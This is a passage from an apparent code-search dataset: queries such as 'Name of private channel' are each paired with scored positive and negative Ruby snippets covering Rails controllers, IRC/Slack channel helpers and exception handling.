"text": "def update\n @app = App.find_by_name(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e4270dfc121229c1d06f9ba68f805853",
"score": "0.5646526",
"text": "def set_program\n @program = Program.find(params[:id])\n end",
"title": ""
},
{
"docid": "2ed5f7b43f88f61f70e2bba4686369f0",
"score": "0.5643574",
"text": "def update_application(application_id, request)\n start.uri('/api/application')\n .url_segment(application_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end",
"title": ""
},
{
"docid": "396e52d4201cbf39a0f92771f2005a9f",
"score": "0.56422067",
"text": "def update\n @program_enrollment = ProgramEnrollment.find(params[:id])\n\n respond_to do |format|\n if @program_enrollment.update_attributes(params[:program_enrollment])\n flash[:notice] = 'ProgramEnrollment was successfully updated.'\n format.html { redirect_to(@program_enrollment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @program_enrollment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6c50b9570ab82e95133977bfc82f5e1e",
"score": "0.5641278",
"text": "def update\n @slit_spec = SlitSpec.find(params[:id])\n\n respond_to do |format|\n if @slit_spec.update_attributes(params[:slit_spec])\n format.html { redirect_to @slit_spec, notice: 'Slit spec was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @slit_spec.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "80cd3365502248107610b6c0d3a18867",
"score": "0.563553",
"text": "def put_vapp_name_and_description(id, name, options={})\n body = Fog::Generators::Compute::VcloudDirector::Vapp.new(name, options).generate_xml\n request(\n :body => body,\n :expects => 202,\n :headers => {'Content-Type' => 'application/vnd.vmware.vcloud.vApp+xml'},\n :method => 'PUT',\n :parser => Fog::ToHashDocument.new,\n :path => \"vApp/#{id}\"\n )\n end",
"title": ""
},
{
"docid": "f3c02f0fb06eaeeb386b454733a84d09",
"score": "0.5632466",
"text": "def set_program\n @program = Program.find(params[:id])\n end",
"title": ""
},
{
"docid": "f3c02f0fb06eaeeb386b454733a84d09",
"score": "0.5632466",
"text": "def set_program\n @program = Program.find(params[:id])\n end",
"title": ""
},
{
"docid": "f3c02f0fb06eaeeb386b454733a84d09",
"score": "0.5632466",
"text": "def set_program\n @program = Program.find(params[:id])\n end",
"title": ""
}
] |
d6f1590bca43c258315b801111aa7b03
|
Name of private channel
|
[
{
"docid": "092478f49c79322da193676733dc2544",
"score": "0.8426073",
"text": "def private_channel\n \"private-#{id}\"\n end",
"title": ""
}
] |
[
{
"docid": "e47176d3e20135b74f4fddbbb6c24899",
"score": "0.78274876",
"text": "def channel_name\r\n return for_context(false) { |c| c.channel_name } \r\n end",
"title": ""
},
{
"docid": "be6b94c1161e0083c03683d5e84b6a75",
"score": "0.7349798",
"text": "def channel\n \"private-job-#{id}\"\n end",
"title": ""
},
{
"docid": "9d528ad5ba5e59034a4634df37388420",
"score": "0.72147316",
"text": "def channel_name\n client_channel.present? ? self.client_channel.channel_name : \"\"\n end",
"title": ""
},
{
"docid": "e44432ad368c9262fa5c552bdcaf6bdd",
"score": "0.71784896",
"text": "def redis_channel_name\n\t\t\t@redis_channel_name ||= \"#{File.basename($0, '.*')}_Redis_Channel\"\n\t\tend",
"title": ""
},
{
"docid": "d0c810d17bb4e77e9ff7d4da82ad2003",
"score": "0.706726",
"text": "def channel_name\n @channel_name ||= SlackUtils::SingletonClient.instance.find_channel_name(@channel_id)\n end",
"title": ""
},
{
"docid": "c5e25d1de386a8ed9e07aadd57f9ba49",
"score": "0.7052095",
"text": "def channel\n Channel.get(@name)\n end",
"title": ""
},
{
"docid": "e7eaaf22c8fc12b934f36bfd355a0e47",
"score": "0.69546884",
"text": "def channel_name(num)\n\t\tregexp = /^CHANNEL#{num}=\"(.*)\"\\s*/\n\t\t@input_ary.each { |e| \n\t\t\treturn $1.to_s.gsub(/\\s+/,\"_\").strip if e =~ regexp\n\t\t}\n\t\traise DTA_ReaderErr, \"Cannot find channel #{num} name\"\n\tend",
"title": ""
},
{
"docid": "bc2ef185b568cd63d1e096edaad384d0",
"score": "0.67960536",
"text": "def materialize_channel_name(scope, channel_name)\n \"#{scope.to_s}-rylyz-#{channel_name}-#{RYLYZ_PLAYER_HOST}\"\n end",
"title": ""
},
{
"docid": "e4ede6c3ad95b03b37b2f7103abc1ec3",
"score": "0.6748311",
"text": "def public_channel(ns)\n # [\"chat\", \"rumor\", \"wldh\", \"tianshi\", \"bwxy\", \"bh\"]\n get_client(ns).public_channel\n end",
"title": ""
},
{
"docid": "5e7c6c5180d927d4056075dc5022d520",
"score": "0.67137206",
"text": "def get_channel_by_name(client, channel_name)\n channel_data = client.channels_info(channel: \"#\" + channel_name.to_s)\n channel_data.channel.id\nend",
"title": ""
},
{
"docid": "c6535b5e157053c199e61e140eea8155",
"score": "0.65464544",
"text": "def channel\n params['channel'].gsub('/','')\n end",
"title": ""
},
{
"docid": "0e43060de1ee6c96768cbf3d6894a504",
"score": "0.65461415",
"text": "def public_channel\n # [\"chat\", \"rumor\", \"wldh\", \"tianshi\", \"bwxy\", \"bh\"]\n @_public_channels\n end",
"title": ""
},
{
"docid": "6482323e07627fec2f9a706cfc5ebb73",
"score": "0.65381",
"text": "def server_channel\n \"#{access_key}-server\"\n end",
"title": ""
},
{
"docid": "4e209b8d05332362640fddea716a73d9",
"score": "0.6526948",
"text": "def channel=(name)\n @channel = name\n end",
"title": ""
},
{
"docid": "c4d47914abd5815d494c93cfea72c0ee",
"score": "0.6488163",
"text": "def channel\n return @channel\n end",
"title": ""
},
{
"docid": "c4798e2b89bddc8f0917faceaa61bc08",
"score": "0.64150035",
"text": "def channel\n @channels[BASE_PATH]\n end",
"title": ""
},
{
"docid": "85e7a4985c64890c3d2fe9ab737ba4c9",
"score": "0.64098585",
"text": "def [](channel_name)\r\n return @channels[channel_name.downcase]\r\n end",
"title": ""
},
{
"docid": "783e2034f968395f225b748fc2ec8b0f",
"score": "0.6376407",
"text": "def channel_id_to_name(data)\n channel = nil\n if @@channel_list\n channel = @@channel_list.select {|channel| channel.id == data.channel}.first\n end\n channel_name = channel != nil ? channel.name : \"nil\"\n end",
"title": ""
},
{
"docid": "c0e9c170141e17cc66e33c45a42520cb",
"score": "0.6361195",
"text": "def channel\n \"market-coin-#{market_coin.id}\"\n end",
"title": ""
},
{
"docid": "d1d4273b48b11c50db965945a7f69640",
"score": "0.63136554",
"text": "def inspect\n \"<Channel name=#{@name} id=#{@id} topic=\\\"#{@topic}\\\" type=#{@type} position=#{@position} server=#{@server || @server_id}>\"\n end",
"title": ""
},
{
"docid": "78cc5d3ebf35d359cb375749b6be21e6",
"score": "0.6245987",
"text": "def redis_channel_name=val\n\t\t\treturn false unless defined? Redis\n\t\t\traise \"Can't change channel name after Redis subscription had been initiated.\" if @redis\n\t\t\t@redis_channel_name = val\n\t\tend",
"title": ""
},
{
"docid": "7db13950594e55e41ddc1a6f683618e0",
"score": "0.6234224",
"text": "def name\n :chat\n end",
"title": ""
},
{
"docid": "7e47e34b16832891bf9e53ebd1cc6134",
"score": "0.62204933",
"text": "def make_channel chan\n @logger.debug \"In make_channel, got #{chan}\"\n # If we are DMing a user (chan looks like @username), do nothing\n # otherwise, make sure chan starts with a '#', if it doesn't already\n\n # channel names must be lowercase, and not contain spaces or periods\n # I'm going to assume that usernames need the same requirements\n chan.sub(/^(?!#|@)/,'#').downcase.gsub(/ |\\./, '_')\n end",
"title": ""
},
{
"docid": "682c3ae4eafc3477628f0cca578edb1c",
"score": "0.62002796",
"text": "def channel_keys\n %w[ channel room ]\n end",
"title": ""
},
{
"docid": "b5a46bd2a85e33bdde17389d9ca65331",
"score": "0.6184519",
"text": "def channel id = nil\n id ||= \"#{current_user.organisation_id}#{env[\"REQUEST_PATH\"].gsub(/\\/ws/,\"\")}\"\n Pubs.channels[id]\n end",
"title": ""
},
{
"docid": "d2ea4d224bee638ebd3eec4340542510",
"score": "0.61541176",
"text": "def client_channel\n \"#{access_key}-client\"\n end",
"title": ""
},
{
"docid": "af6d9b6573cf209e6ca620c9e062f484",
"score": "0.61380976",
"text": "def system_channel(ns)\n get_client(ns).system_channel\n end",
"title": ""
},
{
"docid": "6744c1e0f3841276cd9bc689f653f055",
"score": "0.61139953",
"text": "def channel\n metadata&.dig('event', 'channel')\n end",
"title": ""
},
{
"docid": "b353b3e0f92d39602ad3d56c1c125090",
"score": "0.6067797",
"text": "def name\n return @peer.name\n end",
"title": ""
},
{
"docid": "723820e8bffed662987400ab40d94b65",
"score": "0.60596657",
"text": "def target_channel\n name = case self.command\n when :invite then self.params[1]\n when RPL_NAMREPLY then self.params[2]\n when ERR_USERNOTINCHANNEL then self.params[2]\n when ERR_USERONCHANNEL then self.params[2]\n when ERR_UNKNOWNMODE then self.trail[/\\S+$/]\n else self.params.fetch(numeric? ? 1 : 0, \"\")\n end\n\n if name.start_with?('&', '#', '+', '!')\n return name\n end\n\n return nil\n end",
"title": ""
},
{
"docid": "bb898fdc2e07d1552a9fb37924e7ecc7",
"score": "0.6024267",
"text": "def channel(name)\n arn = self.fetch(name)\n region = arn.split(':')[3]\n notifier_builder.new(region: region).topics[arn]\n end",
"title": ""
},
{
"docid": "7ab1d17f33df6f719949674577421e9e",
"score": "0.5979011",
"text": "def private_channels_format\n {\n recipient: @recipient.compact,\n is_private: true,\n id: @id.to_s\n }\n end",
"title": ""
},
{
"docid": "8702642ca3a8e7faa04c29568cf5db1c",
"score": "0.59609586",
"text": "def normalized_channel_name(channel, add_prefix=true)\n norm_chan = channel.dup\n norm_chan.downcase! unless options[:case_sensitive_channel_names]\n norm_chan = \"##{norm_chan}\" unless server_type.channel_prefix?(channel[0,1]) or not add_prefix\n return norm_chan\n end",
"title": ""
},
{
"docid": "84d1d75d7965d59f939bc22593a05b0d",
"score": "0.5946837",
"text": "def name\n 'Priv: Timestomp'\n end",
"title": ""
},
{
"docid": "d72b85c87692b3b2283d7dcfafa88a40",
"score": "0.59400606",
"text": "def slack_name\n \"<@#{self.slack_id}>\"\n end",
"title": ""
},
{
"docid": "1023ee11efded86f3e15ea4902daa12f",
"score": "0.5909937",
"text": "def channel_with_prefix(channel); end",
"title": ""
},
{
"docid": "25e7169915878c41d316e57f3521ea61",
"score": "0.59087706",
"text": "def get_channel(name, create)\n channel = @channels[name]\n if not channel and create\n channel = Channel.new(name)\n @channels[name] = channel\n @logger.debug(\"Created channel #{name}\")\n end\n channel\n end",
"title": ""
},
{
"docid": "6c8f1808dd19500fe179796cc10bdb22",
"score": "0.589857",
"text": "def to_s\n \"#{@name} (#{@channels.length} channels)\"\n end",
"title": ""
},
{
"docid": "c367bd1e64f0ce60460bb59ded1ad27d",
"score": "0.5863774",
"text": "def channel\n @channel ||= Proletariat.connection.create_channel\n end",
"title": ""
},
{
"docid": "c367bd1e64f0ce60460bb59ded1ad27d",
"score": "0.5863774",
"text": "def channel\n @channel ||= Proletariat.connection.create_channel\n end",
"title": ""
},
{
"docid": "83b86439c03a8af4f4c6221862db27e0",
"score": "0.58517766",
"text": "def get_channel(name)\n channel = @channels[name]\n return channel unless channel.nil?\n # If not exists, create it\n logger.debug \"Created channel #{name}\"\n stat_channel_created name # Stats and log\n @channels[name] = Neighborparrot::Channel.new(name, @app_info)\n end",
"title": ""
},
{
"docid": "dca3791ffab7fa087d58738fb012e07f",
"score": "0.5831354",
"text": "def remove_channel(channel_name)\r\n @channels.delete(channel_name.downcase)\r\n end",
"title": ""
},
{
"docid": "ab8ff76bbe5b1b6e5dd42f4bea410fad",
"score": "0.5830967",
"text": "def channel\n request.path\n end",
"title": ""
},
{
"docid": "2ddc39e32f19125881698d59e11c625d",
"score": "0.58273166",
"text": "def chat_display_name\n return @chat_display_name\n end",
"title": ""
},
{
"docid": "ef354c5feec5eb1e53f8634e52e7d062",
"score": "0.5817177",
"text": "def set_channel_id\n @channel_id = SecureRandom.alphanumeric(8)\n end",
"title": ""
},
{
"docid": "c63559f95933016d1774801e32c9bdf7",
"score": "0.58161527",
"text": "def stop_public_channel(channel_name) stop_channel(:public, channel_name) end",
"title": ""
},
{
"docid": "767346544c5bca09705bf872394dc417",
"score": "0.5810551",
"text": "def channel\n params.detect { |param| param.start_with?(\"#\") }&.delete(\"#\")\n end",
"title": ""
},
{
"docid": "71c685191f8501e2bf1400b2e9c6cf27",
"score": "0.5800655",
"text": "def channel_index\n return @channel_index\n end",
"title": ""
},
{
"docid": "e7de20a507e0275a292d66a69d3b4b13",
"score": "0.57944953",
"text": "def privmsg(channel,nick,message)\n send_command(:privmsg, nick: nick, channel: channel , message: \"#{Filter.new(message)}\")\n end",
"title": ""
},
{
"docid": "c238e715069af96c1f1927c058e06840",
"score": "0.57924193",
"text": "def name\n grpc.name\n end",
"title": ""
},
{
"docid": "e63608e15649be1300db83d4ab26a3d4",
"score": "0.5764693",
"text": "def name\n [\n model.discord_guild.name,\n model.discord_user.username\n ].join(' - ')\n end",
"title": ""
},
{
"docid": "ecc653fe46bde9fb2032e11845850c24",
"score": "0.5717636",
"text": "def group_name\n group.blank? ? Group.direct_to_consumer.name : group.name\n end",
"title": ""
},
{
"docid": "b067b29012280fed273c887c0f6b3e83",
"score": "0.57164043",
"text": "def system_channel\n # [\"sys\", \"rumor\", \"chat\", \"wldh\", \"tianshi\", \"bwxy\", \"bh\"]\n @_system_channels\n end",
"title": ""
},
{
"docid": "194c8e670304cc4f034caad3306ab28e",
"score": "0.56699806",
"text": "def getpeername(*) end",
"title": ""
},
{
"docid": "d55f6c16eb88a1649fc04ac2630b3e61",
"score": "0.56491274",
"text": "def isPriv?\n case @command\n when Event::RECV_CMND_PRIVMSG,Event::RECV_CMND_NOTICE\n #\n # Name which starts with '#','&' or '!' is channel name.\n #\n if(@to=~/^[\\#\\&\\!].+/)\n return false\n else\n return true\n end\n \n else\n return false\n end\n end",
"title": ""
},
{
"docid": "da57bab785cd7f953914a75ad8b41297",
"score": "0.56324005",
"text": "def content_creators(name, channel)\n puts name + \" from \" + channel\nend",
"title": ""
},
{
"docid": "a640838b2b47706e31bbea78653d5ce1",
"score": "0.56229657",
"text": "def channel_for(maildir)\n @channel ||= {}\n @channel[maildir.to_sym] ||= begin\n channel = config.channels.max_by do |channel|\n localstore_path = channel.localstore.path_of[channel.label.to_sym]\n maildir.slice(localstore_path) ? localstore_path.intersection(maildir).length : 0\n end\n\n localstore_path = channel.localstore.path_of[channel.label.to_sym]\n\n folder = maildir.sub(%r{#{localstore_path}/?}, '')\n .gsub(channel.localstore.flatten.unescape,\n (channel.remotestore.pathdelimiter || '/'))\n\n channel.label + (folder.empty? ? '' : \":#{folder}\")\n end\n end",
"title": ""
},
{
"docid": "c2b6a04952c46922356a9085d35b066a",
"score": "0.5604637",
"text": "def to_channel\n self\n end",
"title": ""
},
{
"docid": "8fc073d766df3b0728b2e1850fe3f217",
"score": "0.5584685",
"text": "def slack_channel\n return ENV['SLACK_CHANNEL'] if ENV['SLACK_CHANNEL'][0] == '#'\n '#' + ENV['SLACK_CHANNEL']\n end",
"title": ""
},
{
"docid": "85e1827bd1a541f90e53ad26904f152c",
"score": "0.55846274",
"text": "def normalize_channel(channel)\n \"/#{channel}\"\n end",
"title": ""
},
{
"docid": "36174d4dae302c0364871792a79fb735",
"score": "0.5578236",
"text": "def name=(name)\n update_channel_data(name: name)\n end",
"title": ""
},
{
"docid": "5c6885a13eb2e0e471ad39a124de61a8",
"score": "0.55631834",
"text": "def git_channel(channel)\n return @channels[channel] if @channels[channel]\n @channels[channel] = Git::Channel.new(@config[channel.server.name][channel.nname])\n end",
"title": ""
},
{
"docid": "cbbf43413afee995461df9e3d432f4f7",
"score": "0.55630255",
"text": "def private_dns_name\n data[:private_dns_name]\n end",
"title": ""
},
{
"docid": "4e2983eacf95f9424819f034ccc638f9",
"score": "0.5559535",
"text": "def channels(*params)\n puts \"Channels:\"\n @channels.each do |channel|\n muted = @muted_channels.include?(channel)\n puts \"#{channel}#{muted ? \" (muted)\" : \"\"}\"\n end\n end",
"title": ""
},
{
"docid": "86f2121248dfc57ea3726e91e5b6bf96",
"score": "0.55555654",
"text": "def name\n @name ||= begin \n ioctl(EVIOCGNAME(len = 256), out_name = \" \" * len)\n out_name.rstrip\n end\n end",
"title": ""
},
{
"docid": "021a0d7117c3fa543aab9b9bc03edbb8",
"score": "0.5550867",
"text": "def channel\n # Create new channel if closed\n if @channel.nil? || @channel.closed?\n @channel = connection.create_channel\n end\n @channel\n end",
"title": ""
},
{
"docid": "dda9686870609f34a878d0b872f918a6",
"score": "0.55393726",
"text": "def sent_to_channel?\n IRC.channel_name?(dest)\n end",
"title": ""
},
{
"docid": "39b6886aa22d8c87089a3759ac620fda",
"score": "0.5538587",
"text": "def channels\n self.class::CHANNELS\n end",
"title": ""
},
{
"docid": "50fea266befb5faf21e462edeb4d7980",
"score": "0.5536802",
"text": "def name\n @grpc.name.split(\"/\")[5]\n end",
"title": ""
},
{
"docid": "c2bb23ece61a7389455f0ea6d25ffe10",
"score": "0.5529884",
"text": "def find_channel\n debug 'Looking for channel...'\n _response = self.signed_request'/api/v1/channels.list.joined', 'GET'\n _channels = _response['channels']\n\n _channels.each { |ch|\n if ch['name'] == $config.get_channel\n @channel_id = ch['_id']\n break\n end\n }\n\n if @channel_id\n debug \"Channel found! Channel ID is #{@channel_id}\"\n else\n puts \"Channel not found. Check if channel ##{$config.get_channel} exists and bot user is added to the channel.\"\n exit 1\n end\n end",
"title": ""
},
{
"docid": "95b901e47eeaca443f97cc35b893f2be",
"score": "0.55223674",
"text": "def channels(*params)\n puts \"Channels:\"\n\n @channels.each do |channel|\n muted = @muted_channels.include?(channel)\n puts \"#{channel}#{muted ? ' (muted)' : ''}\"\n end\n end",
"title": ""
},
{
"docid": "ca19d8d1d5892a7e01f9b87d2cda1577",
"score": "0.55170137",
"text": "def channel_create_format\n if private?\n {\n id: @id.to_s,\n is_private: true,\n recipient: @recipient.compact\n }\n else\n {\n guild_id: @server.id.to_s,\n id: @id.to_s,\n is_private: false,\n name: @name,\n permission_overwrites: permission_overwrites_format,\n position: @position,\n topic: @topic,\n type: @type,\n bitrate: @bitrate\n }\n end\n end",
"title": ""
},
{
"docid": "f9ab0f46987e3eab6ac25d6a812a052b",
"score": "0.5515491",
"text": "def nick\n @name\n end",
"title": ""
},
{
"docid": "02401a9529904115fb5acfbaa7d2e93b",
"score": "0.55127245",
"text": "def find_channel(name)\n if name.include? '/'\n sid, cid = name.split('/')\n\n server = discord.servers[sid.to_i]\n server ||= (discord.servers.find { |_i, s| s.name.downcase.tr(' ', '~') == sid.downcase } || [])[1]\n return unless server\n\n chan = server.channels.find { |c| [c.id.to_s, c.name].include? cid }\n return unless chan\n\n DiscordChannelShim.new chan\n else\n chans = channel_list.select { |c| c.name == name }\n if chans.count == 1\n chans.first\n elsif chans.count > 1\n chans\n end\n end\n end",
"title": ""
},
{
"docid": "02401a9529904115fb5acfbaa7d2e93b",
"score": "0.55127245",
"text": "def find_channel(name)\n if name.include? '/'\n sid, cid = name.split('/')\n\n server = discord.servers[sid.to_i]\n server ||= (discord.servers.find { |_i, s| s.name.downcase.tr(' ', '~') == sid.downcase } || [])[1]\n return unless server\n\n chan = server.channels.find { |c| [c.id.to_s, c.name].include? cid }\n return unless chan\n\n DiscordChannelShim.new chan\n else\n chans = channel_list.select { |c| c.name == name }\n if chans.count == 1\n chans.first\n elsif chans.count > 1\n chans\n end\n end\n end",
"title": ""
},
{
"docid": "7cbd5f80ec6c1a0d7e3511708b6ea865",
"score": "0.5508734",
"text": "def channel(name, channel)\n @network = Network.first(:name => name)\n if not @network\n raise NotFound\n end\n @channel = @network.channels.first(:name => channel.gsub(/\\+/, \"#\"))\n if not @channel\n raise NotFound\n end\n @quotes = @channel.quotes.all(:limit => 10, :order => [:posted.desc])\n page_title \"#{@channel.name} (#{@network.name})\"\n display @quotes\n end",
"title": ""
},
{
"docid": "134c35cb8b5720bbf02d60817ac7d4df",
"score": "0.5498132",
"text": "def channel_type(channel)\n type = server_type.channel_prefix[channel[0,1]]\n type ? type : :unknown\n end",
"title": ""
},
{
"docid": "f5212566711405fc4b4a0879cbfed7ce",
"score": "0.54971266",
"text": "def cipher_name\n @cipher.name\n end",
"title": ""
},
{
"docid": "154f8817a99b7509d6f2ca814b4a3561",
"score": "0.5483693",
"text": "def irc_mode_event(stem, sender, arguments) # :nodoc:\n names arguments[:channel] if arguments[:parameter] and server_type.privilege_mode?(arguments[:mode])\n end",
"title": ""
},
{
"docid": "b9ebd6ed134771eb6c5bad56da104e41",
"score": "0.5467458",
"text": "def nick\r\n return for_context(nil, false) { |c| c.nick }\r\n end",
"title": ""
},
{
"docid": "b1cced9a1dd766caf760b7e772e86109",
"score": "0.54662263",
"text": "def chat_display_name=(value)\n @chat_display_name = value\n end",
"title": ""
},
{
"docid": "526b0c3b40a38475c13e1d8cac51cc6f",
"score": "0.5466177",
"text": "def firebase_channel_id_suffix\n return \"-#{circle_run_identifier}\" if ENV['CI']\n return \"-DEVELOPMENT-#{ENV['USER']}\" if CDO.firebase_name == 'cdo-v3-dev'\n ''\n end",
"title": ""
},
{
"docid": "fc370e6d455d9e790ae66c0ff66bec0c",
"score": "0.54611933",
"text": "def get_channel_for(level, user = nil)\n if user\n # \"answers\" are in the channel so instead of doing\n # set_level_source to load answers when looking at another user,\n # we have to load the channel here.\n user_storage_id = storage_id_for_user_id(user.id)\n channel_token = ChannelToken.find_channel_token(level, user_storage_id)\n else\n user_storage_id = storage_id('user')\n channel_token = ChannelToken.find_or_create_channel_token(\n level,\n request.ip,\n user_storage_id,\n {\n hidden: true,\n }\n )\n end\n\n channel_token.try :channel\n end",
"title": ""
},
{
"docid": "db8bfb7f43b66d990a3097380ef46367",
"score": "0.54421586",
"text": "def create_channel!(name)\n resp = sns.create_topic(name: name)\n Channel.new(nil, resp.topic_arn)\n end",
"title": ""
},
{
"docid": "0e654970ffd37f20a05a159ef4a4a347",
"score": "0.54246277",
"text": "def queue_name(name = nil)\n name || self.class.to_s.gsub('Consumer', '')\n end",
"title": ""
},
{
"docid": "8b76b03a697ab9b70edac0e6771b9b1b",
"score": "0.542389",
"text": "def someone_did_join_channel(stem, person, channel)\n end",
"title": ""
},
{
"docid": "8b1fb74ba907e769c2ee6cf87d54fbe4",
"score": "0.54200494",
"text": "def channel\n\n Thread.current['_boss_amqp_channel'] ||= amqp_connect.create_channel\n end",
"title": ""
},
{
"docid": "00497bce28617c000d7d03a47a3ab37f",
"score": "0.54133004",
"text": "def method_missing(name, *args, &block)\n if name =~ /(.*)_channel/\n self.class.send(\"define_method\",name) do |arg|\n msg = \"#{$1.upcase} \"\n msg += \"#{arg[:dest]} \" unless arg[:dest].nil?\n msg += \"#{arg[:who]} \" unless arg[:who].nil?\n msg += \"#{arg[:what]} \" unless arg[:what].nil?\n msg += \"#{arg[:args]} \" unless arg[:args].nil?\n msg += \":#{arg[:msg]} \" unless arg[:msg].nil?\n puts \">>> #{msg}\".blue\n IRC::send_msg msg\n end \n return self.send name,args[0]\n end\n super\n end",
"title": ""
},
{
"docid": "b5cb78e7c25850c19807f2c40418b3f3",
"score": "0.5412922",
"text": "def is_channel_blacklisted?(channel_name)\n !ENV[\"CHANNEL_BLACKLIST\"].nil? && ENV[\"CHANNEL_BLACKLIST\"].split(\",\").find{ |a| a.gsub(\"#\", \"\").strip == channel_name }\nend",
"title": ""
},
{
"docid": "25178278e82284d4ab4031a65a619d99",
"score": "0.5405688",
"text": "def verifyChannel(label)\n @connection.call('channel.listSoftwareChannels', @sid)\n .map { |c| c['label'] }\n .include?(label)\n end",
"title": ""
},
{
"docid": "0ee1b3cd38f382aa539d4fb3087a09d0",
"score": "0.54022926",
"text": "def channel(token, channel_id)\n request(\n __method__,\n :get,\n \"#{api_base}/channels/#{channel_id}\",\n Authorization: token\n )\n end",
"title": ""
},
{
"docid": "ecb2834c5440bb713407899eb215f095",
"score": "0.5397755",
"text": "def private?\n !@data[:channel]\n end",
"title": ""
},
{
"docid": "22eede33b5caca1ca498cb33021cef4d",
"score": "0.5390917",
"text": "def someone_did_leave_channel(stem, person, channel)\n end",
"title": ""
},
{
"docid": "bce5fed681f98e0e8af7145ba73d0cf6",
"score": "0.53902507",
"text": "def guild_name\n\t\t@guild_name\n\tend",
"title": ""
},
{
"docid": "857e447d3ec515ae27cb9805b9c5f35c",
"score": "0.5387111",
"text": "def channel_binding_token\n @channel_binding_token ||= OpenSSL::Digest::MD5.new(gss_channel_bindings_struct).digest\n end",
"title": ""
},
{
"docid": "041375c0eb03626ba274e49870bd6f1e",
"score": "0.53843",
"text": "def name\n message_descriptor_proto.name\n end",
"title": ""
},
{
"docid": "f95c4ca49c6f4650b2235a0af8693782",
"score": "0.5380015",
"text": "def set_channel\n @channel = Channel.find_by(:name => params[:name])\n end",
"title": ""
},
{
"docid": "a00f218c2f468ca202f89b6e713898fb",
"score": "0.53599143",
"text": "def list_channels(workspace)\n puts \"\\nChannel List\\n\\n\"\n tp workspace.channels, \"id\", \"name\", \"topic\", \"member_count\"\nend",
"title": ""
},
{
"docid": "930b56caa4d8cbee092edb3656e6c51a",
"score": "0.53472435",
"text": "def get_peername\n\t\tEventMachine::get_peername @signature\n\tend",
"title": ""
},
{
"docid": "16e82bcdac14beab05bc2253f7aa549c",
"score": "0.53463763",
"text": "def display_name\n public_name\n end",
"title": ""
}
] |
6dd8ef79af3909f191c939a7486402f1
|
Description: handles a execption in server.rb if an error occurs in server.rb it will returns an error msg if the error is unknown it will returns the exception itself Parameter(s): excep Exception: The execption whitch has been catched arg anything: A variable which has to be in the error msg Return: msg string: the error msg
|
[
{
"docid": "a5fc5cdd3b3e35acb63c608efac92b26",
"score": "0.6528084",
"text": "def handleException(excep, arg)\r\n msg = case excep\r\n when \"no such table:\"\r\n \"Their is no table #{arg} in the Database\"\r\n else\r\n \"Error: \" + excep.inspect.to_s + \" has occured\"\r\n end\r\n return msg\r\n end",
"title": ""
}
] |
[
{
"docid": "7cd5df6500303afd971420dcda3d478d",
"score": "0.6962317",
"text": "def parse_exception(msg)\n \n end",
"title": ""
},
{
"docid": "da7042bb861324b2d1e6dc9d3703c539",
"score": "0.67611897",
"text": "def RescueEx(exceptions, variable); end",
"title": ""
},
{
"docid": "7c47b04adcecfeff95c5afac5630ac9d",
"score": "0.6710962",
"text": "def raise_server_error!; end",
"title": ""
},
{
"docid": "f75265b1340a078fecfec0e4412f0a3d",
"score": "0.6667658",
"text": "def handle_error(excpt, request, response)\n ###\n # Ok, something very bad happend here... what to do..\n # send_file_full(@cfg[\"error\"][\"img\"],request,response,@cfg[\"error\"][\"format\"])\n stuff = \"Broken at #{Time.now.to_s}\"\n stuff += \"--------------------------\\n\"\n stuff += excpt.to_s + \"\\n\"\n stuff += \"--------------------------\\n\"\n stuff += excpt.backtrace.join(\"\\n\")\n stuff += \"--------------------------\\n\"\n stuff += \"request => \" + YAML.dump(request)+ \"\\n-------\\n\"\n error_msg(response, 'A problem has occured..')\n @logger.logerr(\"Crash in::#{@lt}\" + stuff)\n end",
"title": ""
},
{
"docid": "7e9d3081536f26e90c7bd9743567c998",
"score": "0.66356397",
"text": "def display_error_message(ex); end",
"title": ""
},
{
"docid": "4d39812641282aa0d09ef5e89fc0c536",
"score": "0.6615661",
"text": "def invoke_internal_error msg = \"???\"\n @return_values.elapsed_time = Time.now - @return_values.start_time\n @return_values.responder = @responder\n @return_values.code = 900\n @return_values.message = msg\n set_deferred_status :failed, @return_values\n send_data \"QUIT\\r\\n\"\n close_connection_after_writing\n end",
"title": ""
},
{
"docid": "5bb30f54b6daceb8b0c96a3cedb2dfde",
"score": "0.65906703",
"text": "def handle_exception(e)\n raise e unless defined?(e.response) && e.response != nil\n\n code = e.response[:status]\n error = Nokogiri::XML(e.response[:body])\n\n message = if error.xpath(\"m:error/m:message\", @ds_namespaces).first\n error.xpath(\"m:error/m:message\", @ds_namespaces).first.content\n else\n \"Server returned error but no message.\"\n end\n raise ServiceError.new(code), message\n end",
"title": ""
},
{
"docid": "e79e592e0d2cb408267a4ac31033963c",
"score": "0.6569457",
"text": "def exc_msg_and_response(exc, response = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "78e5e7252694eab4e1c910bf3337e119",
"score": "0.6558461",
"text": "def run_with_rescue\n begin\n yield\n # TODO: fix?\n #rescue CityGrid::API::InvalidResponseFormat => ex\n rescue StandardError => ex\n x = {\"description\" => ex.message, \"server_msg\" => \"blank\"}\n #x = {\"description\" => ex.description, \"server_msg\" => ex.server_msg}\n puts \"======= ERROR =======\"\n pp x\n pp ex.backtrace\n false\n rescue => ex\n pp ex\n puts ex.backtrace.join(\"\\n\")\n false # return false\n end\n end",
"title": ""
},
{
"docid": "af829dc1a654d92f12163ee4d33312d8",
"score": "0.6557664",
"text": "def display_exception=(ex); end",
"title": ""
},
{
"docid": "5888e4c5b7bc876ff99e943b6adf2d54",
"score": "0.6505742",
"text": "def exception(ex)\n error(ETL::Job::Result.error(ex))\n end",
"title": ""
},
{
"docid": "5888e4c5b7bc876ff99e943b6adf2d54",
"score": "0.6505742",
"text": "def exception(ex)\n error(ETL::Job::Result.error(ex))\n end",
"title": ""
},
{
"docid": "bd3d1af34d898ea2074d69c0d428f426",
"score": "0.6496628",
"text": "def server_internal_error(_remote_address, _exception)\n increment :'server.internal_error'\n end",
"title": ""
},
{
"docid": "3dd49bf89ca13eba8cb278cfe6edcd89",
"score": "0.64710987",
"text": "def rescue_result; end",
